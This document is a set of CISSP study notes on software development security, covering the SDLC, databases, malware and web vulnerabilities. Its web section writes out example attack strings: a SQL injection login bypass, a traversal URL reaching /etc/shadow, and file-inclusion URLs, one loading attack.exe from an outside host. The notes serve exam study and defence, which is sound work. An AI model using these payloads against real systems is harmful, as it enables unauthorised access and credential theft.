

8: Software Development Security

- [Introduction & Concepts](#)
- [Database Concepts and Threats](#)
- [Machine Learning and Artificial Intelligence](#)
- [Software Development Concepts](#)
- [Software Security and Threats](#)
- [Systems Security Concepts](#)

Introduction & Concepts

What's New in Domain 8?

8.2 Identify and Apply Security Controls in Software Development Ecosystems

Programming Concepts:

- Programming languages
- Libraries
- Tool sets
- Integrated Development Environment (IDE)
- Runtime
- Code repositories
- Continuous Integration and Continuous Delivery (CI/CD)

Note: Security Orchestration, Automation, and Response (SOAR) is covered in Domain 3.

Software Configuration Management (SCM):

- DevOps and DevSecOps
- Configuration management

Code Repositories

- Stores source code and related artifacts (like libraries).
- **Secure Handling:**
 - Don't commit sensitive info.
 - Protect access.
 - Sign your work.
 - Update development tools, e.g., Visual Studio Code, Notepad++.

Git is the most widely used modern version control system.

Code Libraries

- Enhances application security & reduces risk.
 - Different languages have varied vulnerabilities.
 - Lower level languages like C need safe memory and string libraries to avoid buffer overflows.
 - Other libraries handle encryption, data transfer, and secret management.
-

Runtime

- Describes when a software is in operation.
- Dynamic Application Security Testing (DAST) checks security during runtime.
- For bought software, runtime assessment is mandatory (source code isn't available).
- If you have the source code, conduct both source code and runtime scans.

For containers: Scan images during build & runtime, especially for open-source images.

CI/CD

- Ensure identity & access management (include MFA).
 - Securely store secrets & avoid hard-coded ones in code.
 - Role-based access control & least privilege access.
 - Automate vulnerability scanning in the CI/CD pipeline.
 - Use release versioning for better recovery & issue tracking.
-

Configuration Management

- Tracks system setups for hardware & software.
- Baselining (snapshot at a given time) is crucial.
- Use system & component-level versioning.

Configuration management bridges the gap between hardware and software.

Examples:

1. **Code Scanning** – Checks for vulnerabilities in code.
 2. **Static Application Security Testing (SAST)** – No execution; inside-out testing. Requires source code.
 3. **Dynamic Application Security Testing (DAST)** – Requires execution; outside-in testing. Doesn't need source code.
-

Exam Outline Topics

- 8.1 Understand and integrate security in the SDLC.
 - 8.2 Identify and apply security controls in development environments.
 - 8.3 Assess the effectiveness of software security.
 - 8.4 Assess security impact of acquired software.
 - 8.5 Define and apply secure coding guidelines and standards.
-

Database Concepts and Threats

RDBMS Architecture

Tables (relations): Comprises multiple attributes or fields. Each attribute corresponds to a column in the table.

Rows (records/tuples): A singular data record in a table. Each row, representing a specific item data, holds varying data but within the same structural format.

Column (fields/attributes): Contains a set of data values of a particular type. It holds one value for each row of the database (e.g., firstname, lastname, job, etc.)

Firstname	Lastname	Job
John	Doe	IT

Row: John, Doe, IT **Column:** Firstname

ACID

1. Atomicity

- **Definition:** Transactions should be “all-or-nothing”.
- **Example:** If you're transferring money between two bank accounts, either both the debit and credit operations should complete, or neither should occur.
- **Implication:** If any part of a transaction fails, the entire transaction must be rolled back as if it never happened.

2. Consistency

- **Definition:** Transactions must operate in an environment that's consistent with the database's rules and should end with the database in a consistent state.
- **Example:** If a rule is that all student IDs in a university database must be unique, no transaction should allow the creation of duplicate student IDs.
- **Implication:** No transaction should be able to utilize inconsistent data generated during another transaction's execution.

3. Isolation

- **Definition:** Transactions should operate independently of each other.
- **Example:** If two customers are buying the last item in stock at the same time, one transaction should complete entirely before the other starts to ensure one customer doesn't purchase an item that's no longer available.
- **Implication:** This avoids transactions working with invalid intermediate data from another transaction.

4. **Durability**

- **Definition:** Once transactions are committed, they must be permanent.
- **Example:** Once you receive a confirmation of a booked flight, the reservation should persist even if there are system failures.
- **Implication:** Durability is ensured through mechanisms like transaction logs and backups.

RDBMS Threats

Inference attacks and aggregation attacks are both techniques that can compromise user privacy, especially in the context of databases or machine learning models. However, they target different aspects and work in distinct ways.

Inference Attack

An inference attack happens when an attacker is able to **deduce sensitive information** by observing **non-sensitive** data.

Setting: We're outside the Ehra-Lessien, a notable high-speed test track used primarily by the Volkswagen Group (which includes Bugatti), and note a single object: a car under a tarp.

Observations:

1. **Bugatti Uniforms:** A group of people are seen wearing Bugatti uniforms. This already establishes the presence and interest of Bugatti officials or engineers at this location on this particular day.
2. **Car Under Tarp:** There's a car under a tarp, indicating something is being concealed. The very act of concealment in such an environment suggests something new or yet-to-be-revealed.
3. **Distinctive W12 Sound:** There are sounds that hint at a W12 engine, which is characteristic of Bugatti. However, the sound signature doesn't match known vehicles like the Veyron or Chiron.

Inference: Based on the collective evidence, it's reasonable to infer that Bugatti might be testing a new vehicle model or variant equipped with a W12 engine. The presence of personnel in Bugatti uniforms, combined with the concealed car and the distinctive yet unfamiliar engine sound, makes a strong case for this deduction.

Aggregation Attack

An aggregation attack is when an attacker combines **non-sensitive data** from **various sources** to reveal sensitive information that was not apparent from the individual pieces of data alone.

For a contrasting example in a similar vein:

You're a car enthusiast who loves tracking new car launches and rumors. You visit various car forums and online magazines and piece together the following bits of seemingly unrelated information:

1. A car journalist subtly hints at having test-driven a new high-performance vehicle but doesn't specify the brand.
2. A Bugatti supplier mentions increased orders for certain high-performance parts around the same time.
3. Some tourists near Ehra-Lessien report hearing an unusual engine sound, different from known Bugatti cars.
4. A local hotel has bookings from Bugatti executives and renowned car journalists simultaneously.

By aggregating these diverse pieces of information, you surmise that Bugatti is probably set to reveal a new model soon, and certain journalists might already have had a sneak peek but are under embargo.

While both mitigate inference risks, blurring involves altering specific data to make it less precise, whereas partitioning separates data into distinct segments, restricting access based on roles.

1. **Other attacks:**
- SQL injection
 - TOC/TOU
 - Backdoor
 - DoS

Candidate keys

A subset of attributes that uniquely identifies a record in a table. No two records in the same table will have identical values for all attributes forming a candidate key. This aids in distinguishing people with similar names or other similar conflicts.

Imagine a table storing details of students at a university. For identification, both the student's email address and the student ID number are unique.

Students Table:

Student_ID (CK)	Student_Email (CK)	Full_Name	Major
S001	john.doe@example.com	John Doe	IT
S002	jane.smith@example.com	Jane Smith	Math
S003	bob.lee@example.com	Bob Lee	Physics

In this table, both `Student_ID` and `Student_Email` can be **Candidate Keys (CK)** because both are unique for each student.

Primary Key: A specific key chosen from the set of candidate keys to uniquely identify records in a table. Each table possesses only one primary key, determined by the database designer.

From the previous example, let's say the university chooses `Student_ID` as the preferred way to uniquely identify students because it follows a standardized format.

Each table in a database will typically have one, and only one, primary key. This is the main way records in the table are identified. The primary key's values must be unique for each record, and a record cannot have a null (empty) value for its primary key attributes.

Foreign Keys

Utilized to reinforce the relationship between two tables through referential integrity. This ensures that if one table contains a foreign key, it corresponds to an existing primary key in the other related table.

Let's assume two tables: `Students` and `Courses`.

`Courses` Table:

Course_ID (PK)	Course_Name
C001	Computer Science
C002	Mathematics
C003	Physics

(PK) denotes the Primary Key for the `Courses` table, which is `Course_ID`.

`Students` Table:

Student_ID (PK)	Student_Name	Enrolled_Course_ID (FK)
S001	John Doe	C001
S002	Jane Smith	C002
S003	Alice Brown	C001
S004	Bob White	C003

In the `Students` table, the column `Enrolled_Course_ID` is a Foreign Key (FK). It references the Primary Key of the `Courses` table, establishing a connection between a student and the course they're enrolled in.

The relationship formed by this foreign key ensures that you cannot have a student enrolled in a course that doesn't exist in the `Courses` table. For instance, if you tried to insert a student enrolled in a `Course_ID` of C004, it wouldn't be permitted, as there is no course with the ID of C004 in the `Courses` table.

Types of Storage

Memory Types

Primary (Real) Memory

- Most direct and fastest form of storage.
- Directly accessible to the CPU.
- Consists mostly of volatile RAM.
- Fastest storage available.

Virtual Memory

- Simulates additional primary memory using secondary storage.
- Potential slowdown in performance. Often referred to as "paging".
- If low on RAM, the system uses a hard disk for direct CPU addressing. This results in slower performance but avoids crashes.

Storage Access Methods

Random Access Storage

- OS can request contents from any point in the media.
- Examples: RAM and Hard Drives.

Sequential Access Storage

- Requires scanning the entire media from the start to reach a specific address.
- Unlike random access, it reads from the start. Think of it as fast-forwarding a cassette tape.
- Example: Magnetic tape.

Storage Persistence

Volatile Storage

- Loses contents when power is removed.
- Content loss risk on power outages.
- RAM is the most common example.

Non-Volatile Storage

- Maintains its contents without power.
- Examples: Magnetic/optical media and Non-Volatile RAM (NVRAM).

Miscellaneous Storage Types

Secondary Storage

- Cheaper and long-term compared to primary memory.
- Non-volatile and for long-term use.
- Examples: CD/DVD, HDD, SSD.

Virtual Storage

- Simulates secondary storage using primary storage.
- Commonly used example: A RAM disk that appears as secondary storage but is in volatile RAM. Provides fast systems for apps but lacks recovery capability.
- Useful for quick load-ins, like in eSports tournaments.

Machine Learning and Artificial Intelligence

Introduction to Machine Learning

Machine Learning Techniques

- Focus on algorithmically discovering knowledge from datasets. Aids in deriving insights and patterns from vast data.

Expert Systems

- Comprises two main components:
 1. **Knowledge Base**: Contains a series of if/then rules.
 2. **Inference Engine**: Evaluates knowledge to draw conclusions.

“Knowledge base for data, inference engine for conclusions.”

Neural Networks

- Simulates the function of the human mind.
- Uses layered calculations to solve problems.
- Requires extensive training on a problem to offer solutions.

Neural networks need significant training data to function effectively.

Software Development Concepts

SDLC Phase Steps

Phase Name	Description	Mnemonic
↓ Requirements and Analysis	In this phase, the needs of potential users are understood and analyzed to produce a requirements specification.	Real
↓ Design	This phase involves creating a detailed design of the software system, specifying architecture, components, interfaces, and other characteristics.	Developers
↓ Implementation (or coding)	The actual code is written in this phase, transforming design documentation into functional software.	Ideas
↓ Testing	The software is tested to ensure it meets the specifications and is free of defects.	Take
☐ Evolution (or Maintenance)	As software gets used, it will evolve to meet new user requirements, address discovered bugs, and incorporate other changes.	Effort

Systems Development Models

Work Breakdown Structure (WBS):

The Work Breakdown Structure (WBS) is a project management tool that breaks down the project into smaller, more manageable components. It's a hierarchical decomposition of a project into deliverables and work packages. The main goal of the WBS is to make complex projects more comprehensible by dividing them into smaller parts, but it can include things like functional requirements as well. This makes it easier to manage, schedule, and allocate resources. A project plan is different from a WBS and would provide things like timing and resources.

Agile

Agile, at its heart, champions customer-centricity and rapid, iterative development. Instead of a fixed blueprint, Agile thrives on adaptation, evolving with the client's insights and the project's needs. The **Four Core Principles** are:

1. Individuals and interactions over processes and tools.
2. Working software over comprehensive documentation.
3. Customer collaboration over contract negotiation.
 - For example, a customer might start to use the software and learn what they really need versus what they thought they needed.
4. Responding to change over following a plan.
 - User Acceptance Testing (UAT) can provide guidance on adapting and pivoting direction.

Remember the four core principles of Agile for the exam.

SCRUM

- The most popular Agile methodology. Named after daily team meetings known as scrums.
- Teams review daily progress, plan for the next day, and address impediments.
- Led by a Scrum Master who aids in the team's progress towards objectives.
- Organizes work into short sprints, usually ranging from one to four weeks. Each sprint aims to achieve short-term objectives contributing to the project's overall goals.
- At the sprint's start, the team plans the work, and by the end, there should be a potentially releasable product, even if not complete.

Waterfall

Contrary to Agile, the Waterfall model is characterized by its linear, step-by-step approach towards product development. It meticulously follows each phase, permitting revisions only to the immediate preceding step. While it shares semblance with the software development lifecycle, Waterfall's structure demands comprehensive analysis and design for the entire project from the outset. One of its main limitations is the absence of consistent feedback loops, making alterations both challenging and expensive.

Seven stages:

1. ↓ System Requirements
2. ↓ Software Requirements
3. ↓ Preliminary design
4. ↓ Detailed Design
5. ↓ Code and Debug
6. ↓ Testing
7. □ Operations & Maintenance

Reminiscent from earlier manufacturing processes where tasks were done in a sequential manner, one after the other.

Spiral

Often referred to as the "metamodel" or a "model of models," the Spiral model can be visualized as an enhancement of the Waterfall model, integrating multiple iterations of it. Each spiral in the model represents a developmental phase, culminating in a new prototype or iteration of the software.

Here's what distinguishes the Spiral model:

- 1. Iterative Nature:** Unlike the strict linear progression of Waterfall, the Spiral model allows for iterative development. This aspect addresses one of the primary criticisms of the Waterfall model, where changes post-phase completion were cumbersome and expensive.
- 2. Customer Feedback and Realization:** Should a customer have an epiphany or change of requirements mid-way through the development process, the Spiral model offers the flexibility to circle back, adjust, and refine. This iterative feedback loop ensures the end product is closely aligned with customer expectations and needs.

[image.png](#)

Unlike the Waterfall model, you don't revert to the previous stage; instead, you iterate to the next spiral if a requirement changes.

Programming Languages

Software developers use programming languages to create software. Developers mostly use high-level languages like Python, Java, etc. which are closer to human language. There are two main ways code gets executed: through compilation or interpretation.

Aspect	Compiled Code	Interpreted Code
Languages	C, Java	Python, JavaScript
Development Process	Developers write code, then use a compiler to create an executable file	Developers write code and distribute it as is
Execution	Users run the executable file	An interpreter on the user's computer reads and runs the code

Aspect	Compiled Code	Interpreted Code
Visibility	Regular users can't easily see or alter the code	Anyone can open and see the code
Security Measures	Code obfuscation to deter reverse engineering, although decompilers tools exist.	None in this context
Security Implications	<ul style="list-style-type: none">- Hard for outsiders to alter- Difficult to detect hidden issues or malware	<ul style="list-style-type: none">- Users can see and potentially alter the code- Harder for original developers to hide malicious elements but easy for others to insert if they get access

Software Development Maturity Models

Maturity models serve as the guiding light, steering the process from initial chaos to disciplined, optimized operations. They offer an evolutionary trajectory, marking the journey from low to high maturity smoother high maturity. While these models share common principles of progress, each has its unique characteristics and nuances.

Capability Maturity Model (SW-CMM)

SW-CMM (Software Capability Maturity Model) primarily concentrates on improving software development processes, offering organizations a roadmap to mature their software practices.

Capability Maturity Model Integration (CMMI)

CMMI (Capability Maturity Model Integration), integrates multiple maturity models, making it applicable not only to software engineering but also to product development and service provision. It differs from SW-CMM by providing a broader framework, capturing an array of disciplines beyond just software, and emphasizing integrated product and process development. CMMI gives an insight into our current maturity level and helps us plan where we need to head.

Level	Name	Characteristic	Description
Level 1	Initial	REACTIVE	Unpredictable and poorly controlled.
Level 2	Repeatable	MANAGED	Projects are characterized.

Peer review is required from level 3 onwards.

Level 3	Defined	PROACTIVE	Processes characterized.
Level 4	Quantitatively Managed	QUANTITATIVE	Measured processes provide insights into performance.
Level 5	Optimizing	CONTINUOUS	Projects are characterized.

IDEAL Model

A software development model that incorporates attributes of SW-CMM.

1. **Initiating** - Business reasons established, infrastructure put in place.
2. **Diagnosing** - Current state analysis and change recommendations.
3. **Establishing** - Development of change plans.
4. **Acting** - Implementation of the plan and solutions.
5. **Learning** - Continuous analysis for improvement.

Software Security and Threats

Change, Configuration, and Testing

Change and Configuration Management

- Provides an organized framework.
 - Enables cost/benefit analysis.
1. **Request Control** - Enables users to request modifications.
 2. **Change Control** - Used to recreate and analyze situations for appropriate changes.
 3. **Release Control** - Procedure for approving changes before releasing them.

Always conduct acceptance testing during release control.

Software Testing

- Thorough testing before distribution.
- Use of special datasets to exercise all paths.
- Automated and manual testing.

Example: If a software is expected to add two numbers, inputting 3 and 4 should yield 7. If it yields 8, then there's an error.

Always compare actual results against expected results during testing.

Viruses

Types of Viruses

Stealth Viruses

These viruses conceal their presence by tampering with the OS. They deceive antivirus software into believing that the system is operating normally.

Encrypted Viruses

These viruses leverage cryptographic techniques to evade detection. Example: Encrypting a virus into a .rar archive, making it invisible to automatic scans on platforms like Google Drive.

Worms

Worms have built-in propagation mechanisms that automatically spread and do not require user interaction to spread. Instead they automatically scan for vulnerabilities and try and automatically gain access from there.

Hoaxes

Not viruses, but still a threat. They mislead users and waste resources. Previously spread through chain mails, but now prevalent on social media.

Logic Bombs

Malicious code that remains dormant on a system until triggered by specific conditions (e.g., time, program initiation, or a login). Stuxnet is a prime example: a polymorphic virus with intricate logic bomb mechanisms. Its logic was designed to target and interfere with specific industrial control systems, only activating under precise conditions to sabotage uranium-enrichment operations in Iran.

Polymorphic Viruses

These viruses alter their own code as they migrate between systems. A significant example is the Storm Worm, which spread rapidly in the 2000s, altering its code to evade detection. It propagated itself through email and was notorious for swiftly adapting its code, making it challenging to detect and neutralize.

Multipartite Viruses

Viruses that employ multiple propagation techniques. They aim to breach systems that are safeguarded against just one method.

Trojan Horse

Trojan Horses are deceptive software programs. While they seem functional and benign, they carry a concealed, harmful payload.

- Only use software from known, trusted sources.

- Restrict users' ability to install software.

Ransomware

This malicious software is on the rise. It invades a device and employs encryption tech to lock essential documents. The only decryption key is with the cybercriminal. Victims see a warning: pay a ransom or lose your files.

Reaction:

- Regularly back up your computer.
- Store backups in isolated locations.
- Increase user awareness through training.
- Use cloud-hosted email & file storage; many offer auto-versioning.

Prevention:

- Ensure computers are updated and patched.
- Be wary of suspicious web links.
- Exercise caution with email attachments.
- Authenticate email senders before clicking.
- Invest in preventative software programs.
- AI-driven cloud services offer added protection like O365 or G-Suite

Virus Propagation Techniques

Viruses employ various techniques to propagate and ensure their persistence. These methods can be categorized into the following:

File Infection

- Viruses infect different types of executable files.
- They become active when the operating system executes them.
- For Windows, these are typically `.exe` and `.com` files.

Service Injection

- Viruses evade detection by embedding themselves into the trusted runtime processes of the OS.
- Examples include `svchost.exe`, `winlogon.exe`, and `explorer.exe`.

Cheats for games, such as CS:GO, inject into `csgo.exe` to dodge anti-cheat, much like viruses bypass anti-virus systems.

Boot Sector Infection

- Viruses infect the legitimate boot sector.
- These viruses are loaded into memory during the OS load process.

Macro Infection

- Viruses spread by infecting the code in macros.
 - Commonly, they use Visual Basic for Applications in MS Office documents.
-

AV Software

Employs multiple strategies to detect and combat malware.

1. **Signature-Based Detection:**

- Uses algorithmic patterns to identify known viruses.
- Regular updates of virus signatures are critical.

Example: Windows updates its virus signatures daily.

2. **Behavior-Based Detection:**

- Monitors systems for abnormal activities.
- Flags or blocks suspicious behavior even if no known signature match is found.
- Modern solutions leverage AI and ML. Some even connect to cloud systems to analyze potential threats.

Remember: Modern threats may appear once and vanish, making behavior-based detection essential.

Threats to Software

Techniques to Compromise Password Security:

1. **Password Crackers:**

- Extracts passwords from stolen credential data.
- Methods can vary and include:
 - Dictionary attack
 - Brute force
 - Social engineering attack

2. **Rootkit (escalation of privilege):**

- A rootkit is essentially a kit that offers root access!
- Exploits OS vulnerabilities for escalated privileges.

3. **Application Attacks:**

- Targets vulnerabilities in poorly designed software.

4. **Buffer Overflow:**

- Occurs when user input isn't validated for size.
- Memory buffers can overflow if the input exceeds capacity. Common in web forms.

5. **Backdoor:**

- Undocumented command sequences allowing bypassing of access restrictions.
- Although useful during development, they sometimes mistakenly remain in the live environment.
- **Example:** WannaCry leveraged a backdoor for its zero-click network propagation.

6. **Time-of-Check-to-Time-of-Use:**

- A timing vulnerability where permissions are checked too early before a resource request.
 - **Example:** Imagine a multi-threaded environment where a file's permission is checked and then accessed later. Between the check and the access, another process could potentially change the file's permissions or even the file itself.
-

Web Application Vulnerabilities:

Cross-Site Scripting (XSS)

- A type of injection attack where malicious scripts are inserted into trusted websites.
- Occurs when an attacker uses a web application to relay malicious code to another user.
- Typically happens when web apps process unfiltered user input.

Example: A commenting system on a blog displays user comments without filtering. An attacker could input a script as their "comment". Other users viewing the comment will execute the script, potentially stealing cookies or other data.

Cross-site Request Forgery (XSRF or CSRF)

- **Definition:** Exploits the trust a user has in a specific website, causing them to unknowingly perform an action they did not intend. Similar to cross-site scripting attacks but exploits a different aspect of the trust relationship.
- **How it works:** A malicious website or email makes the user's browser send a request to a trusted site where the user is already authenticated, leading to unwanted actions performed on the trusted site.
- **Mitigation:**
 1. Use secure tokens for web apps.
 - This ensures that each request from a user is genuine and not generated by a third party.
 2. Check the referring URL in requests.
 - By doing this, the site can ensure that the request came from the correct location.

Always ensure web apps use secure tokens and validate referring URLs to guard against CSRF attacks.

Cross-Site Tracing (XST)

XST is a more refined version of the Cross-Site Scripting (XSS) attack using the HTTP TRACE method. It's designed to exploit the vulnerability that comes with allowing HTTP TRACE requests by web servers, potentially leading to the theft of sensitive information.

How it works: An attacker exploits a web application vulnerability to send an HTTP TRACE request, causing the server to echo the entire request back. If an attacker tricks a user's browser into issuing this request, the headers, including cookies or authentication data, will be reflected back and can be captured by the attacker.

SQL Injection

Attackers provide unexpected input to manipulate the underlying database. For example, on a login page, instead of a regular password, an attacker inputs `password' OR '1' = '1`. If not properly sanitized, the database might interpret this as always true, granting unauthorized access.

Input validation, using prepared statements, and limiting account privileges help protect against SQL injection.

Directory Traversal

Web servers with certain security misconfigurations can allow users to navigate through their directory structure, giving them the potential to access secure files. This vulnerability arises when servers accept directory navigation operators and fail to adequately restrict file access.

On an Apache server with web content in `/var/www/html/` and a password file in `/etc/shadow`, if an attacker uses a URL like `http://www.example.com/../../../../etc/shadow`, they might exploit the directory structure. This method, using the `..` operator, can navigate outside the designated web server areas. If successful, the server could reveal sensitive files, setting the stage for further attacks, such as brute-force attempts on server credentials.

File Inclusion

File inclusion attacks elevate directory traversal threats by not just retrieving, but also executing code within a file. This lets attackers trick web servers into running specific code. There are two main types:

1. **Local File Inclusion:** Targets and executes a file on the same web server, akin to directory traversal. For instance, an attacker could use a URL like

`http://www.example.com/app.php?include=C:\\www\\uploads\\attack.exe` to run `attack.exe`

from a specified directory.

2. **Remote File Inclusion:** More advanced, it allows attackers to execute code stored on an external server. An example would be using the URL `http://www.example.com/app.php?include=http://1.1.1.1/attack.exe`. If successful, attackers might deploy a web shell, enabling them to commandeer the server through typical HTTP/HTTPS ports. This technique not only bypasses many security tools but might also let the attacker patch the initial vulnerability to hide their actions or prevent further intrusions.

Clickjacking

Tricks users into clicking on something different than what they intended to on a webpage. This is done in two main ways:

1. By changing the webpage's code (x-frame clickjacking) so that a valid URL is swapped with a malicious one when a user clicks.
2. By placing an invisible overlay (like a frame or image) on the webpage. The user thinks they're interacting with the original page, but their clicks are captured by this overlay and sent elsewhere.

Clickjacking can lead to phishing, hijacking, and on-path attacks.

Network Reconnaissance Techniques:

1. **IP Probes:**
 - Tools attempt to ping a range of addresses.
 - Responsive systems are noted for further investigation.
2. **Port Scan:**
 - Identifies open or listening ports on a system.
 - Critical servers like web and file servers are common targets.
3. **Vulnerability Scans:**
 - Identifies specific system vulnerabilities.
 - Popular tools include Nessus, OpenVAS, Qualys, and Core Impact.

Systems Security Concepts

Protection Rings:

Protection rings structure privilege levels in a hierarchical manner, typically visualized as concentric rings. The innermost ring (Ring 0) has the most privileges, and as you move outward, privileges decrease.

- **Ring 0 (Kernel Mode):** The innermost layer with the highest privileges. OS kernels operate at this level, giving them direct access to system hardware.
- **Ring 1 and Ring 2:** These are often utilized for specific system tasks that require fewer privileges than the kernel. For instance, device drivers or certain virtual machines may operate here.
- **Ring 3 (User Mode):** The outermost layer where regular applications run. It has the least privilege. Any request for system resources or hardware access from this ring must pass through the inner rings (and thus get vetted) before execution.

Anti-Cheat Software in Video Games:

Using the analogy of anti-cheat software:

- **VAC (Valve Anti-Cheat):** VAC, traditionally, doesn't operate at the kernel level (Ring 0) but rather in the user space (Ring 3). This means it doesn't have as deep access into the system as some other anti-cheat software. Its detections are based more on heuristics and known cheat signatures.
- **Riot's Vanguard (For Valorant):** This is more aggressive in its anti-cheat measures. It runs at Ring 0 (Kernel Mode), which provides it with deeper access into the system and thus potentially better cheat detection. However, this can raise privacy and system stability concerns among users.
- **Hardware Cheats:** These are even more intricate. Instead of manipulating software, they interfere directly with the hardware, like intercepting and altering the data between a game client and the server, or even between peripheral devices and the PC. This would be analogous to a cheat mechanism working "outside" of the traditional ring model since it's not directly interfacing with the software hierarchy but rather manipulating the very hardware the rings themselves operate on.

Conclusion in a CISSP Context:

From a CISSP perspective, understanding protection rings is crucial for system security design and ensuring proper privilege management. The central principle is the Principle of Least Privilege (PoLP): software should operate with the least amount of privilege necessary to complete its task. By doing so, the potential damage from breaches or vulnerabilities is minimized.

In the context of anti-cheat systems, while running at Ring 0 might offer more comprehensive detection mechanisms, it also brings forward concerns about system stability, potential vulnerabilities, and user privacy. This underscores the CISSP emphasis on balancing security measures with potential risks and impacts.

Concentric Circle Security

Concentric Circle Security adopts a multi-layered approach, involving several independent security applications, processes, or services all aiming towards a unified security objective.

- **Key Concepts:**

- **Multiple Layers:** Multiple tools, processes, and applications collaborate for fortified security.
- **Flaw Recognition:** Every individual security mechanism might have a flaw or workaround.
- **Layered Defence:** The combination of diverse countermeasures enhances protection.

This strategy resists significant and persistent compromise attempts due to its diverse layers.

Acquired Software Security Impact

Understanding the impact of acquired software on security involves recognizing various types of threats that exploit vulnerabilities in the software.

1. **OS Attack:**

- Attackers seek OS vulnerabilities.
- Common exploits include buffer overflow, OS-specific bugs, and unpatched OS vulnerabilities.

Alert: Always patch OS vulnerabilities promptly.

2. **Application-level Attacks:**

- Threats targeting applications directly.
- Examples include buffer overflows, active content, cross-site scripting (XSS), Denial of Service (DoS), SQL injection, session hijacking, and phishing.

Be cautious! Application-level attacks can be subtle yet damaging.

3. **Shrink Wrap Code Attacks:**

- Exploits target holes in unpatched or poorly configured off-the-shelf software.
- This software might also include sample scripts/code that can be weaponized if discovered by attackers.

Always customize and patch third-party software.

4. **Misconfiguration Attacks:**

- Attacks target services or devices that are poorly configured.
- A classic example is a WiFi router with default settings.

Always change default settings and configurations.